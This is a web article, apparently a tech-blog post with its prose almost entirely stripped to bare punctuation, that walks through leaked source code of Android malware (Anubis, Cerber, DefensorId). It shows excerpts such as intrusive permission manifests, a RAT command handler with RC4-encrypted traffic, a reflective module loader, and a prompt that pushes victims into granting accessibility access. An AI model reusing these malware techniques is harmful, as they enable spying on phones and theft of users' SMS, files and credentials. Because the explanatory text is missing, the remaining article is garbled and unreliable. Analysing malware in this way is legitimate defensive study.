Android - Astuces interdites

. — , Android - , .





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Disclamer: .





, Android Linux. , Android . , . :





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  • SELinux ;





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100% . ? — . , — Android Intent`, .





Android open source: , , «» . .





Anubis. , .





Anubis

: Java. , Java.





. AndroidManifest



:





...
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <uses-permission android:name="android.permission.GET_TASKS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission
        android:name="android.permission.PACKAGE_USAGE_STATS"
        tools:ignore="ProtectedPermissions" />
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
...

      
      



, , 24/7 . , .





, . , "ServiceRAT". — . :





...
public class ServiceRAT extends IntentService {
    String botid="";
    UtilsClass utilsClass = new UtilsClass();
    Constants const_ = new Constants();
    RequestHttp  http = new RequestHttp();
    StoreStringClass storeStringClass = new StoreStringClass();
...

      
      



, http , «» RC4. code style, , . — :





...
  UtilsClass utilsClass = new UtilsClass();
        try
        {
            byte[] data = Base64.decode(textDE_C, Base64.DEFAULT);
            textDE_C = new String(data, "UTF-8");
            byte[] detext = utilsClass.hexStringToByteArray(textDE_C);
            ClassRC4 rcd = new ClassRC4(key.getBytes());
            return  new String(rcd.decrypt(detext));
...

      
      



, :





...
responce = utilsClass.trafDeCr(responce);
           utilsClass.Log("RATresponce",""+responce);

           if(responce!="**"){
               utilsClass.Log("RAT_command", "" + responce);
               if(responce.contains("opendir:")){

                   String opendir = responce.replace("opendir:","");
                   opendir = opendir.split("!!!!")[0];

                   if(opendir.contains("getExternalStorageDirectory"))opendir = Environment.getExternalStorageDirectory().getAbsolutePath();

                   String getFileFolder = utilsClass.listFilesWithSubFolders(new File(opendir));
                   ...

      
      



, 100% , 100% . opendir



.





: «» . , . . code style.





Cerber

, . . : , . , , , Google Play, .





: Java. :





...
    <application
        android:allowBackup="true"
        android:label="module"
        android:supportsRtl="true"
        android:theme="@android:style/Theme.Translucent.NoTitleBar">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.app.role.SMS" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
...

      
      



, Intent. :





...
import java.lang.reflect.Method;

public class MainActivity extends Activity {

    mod tt = new mod();
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
       
        tt.checkProtect(this);
        try {
            Class c = Class.forName("com.example.modulebot.MainActivity");
            Method m = c.getMethod("ssss");
            m.invoke(c.newInstance());
        } catch (Throwable t) {
        }
        tt.main(this,"");
    }
...

      
      



, . "tt



". , . , .





, :





...
case "updateModule":
                        utl.SettingsWrite(context, "statDownloadModule", "0");
                        try {
                            new File(context.getDir("apk", Context.MODE_PRIVATE), "system.apk").delete();
                        }catch (Exception ex){
                            utl.SettingsToAdd(context, consts.LogSMS , "(MOD5)  | updateModule " + ex.toString() +"::endLog::");
                        }
....

      
      



"system.apk", , , . . , , .





: , . code style.





DefensorId

, Android. . — Java, Kotlin.





:





...
<uses-permission android:name="android.permission.SYSTEM_OVERLAY_WINDOW" />
    <uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"
        tools:ignore="ProtectedPermissions" />
    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
    <uses-permission android:name="android.permission.WRITE_SETTINGS"
        tools:ignore="ProtectedPermissions" />
        <service
            android:name=".CoreService"
            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
...

      
      



, . Android , — « » (ACCESSIBILITY). , Intent :





...
public void overayPermission(){
            if (!Settings.canDrawOverlays(this)) {
                Intent myIntent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
                startActivityForResult(myIntent, WIN_REQ_CODE);
            }

    }

    public void AccessibilityAllow() {
        AlertDialog.Builder gsDialog = new AlertDialog.Builder(this);
        gsDialog.setTitle("Message");
        gsDialog.setCancelable(false);
        gsDialog.setMessage("please need to allow the permission");
        gsDialog.setPositiveButton("OK", new DialogInterface.OnClickListener() {
            public void onClick(DialogInterface dialog, int which) {
                startActivityForResult(new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS),CORE_REQ_CODE);
            }
        }).create().show();
    }
    ...

      
      



. Intent — . . , .





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Android. , , , . , , « ». « » — .






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"Android Developer. Basic" "Android Developer. Professional".



« Android». c :

— ;

— Canvas, Path, Paint;

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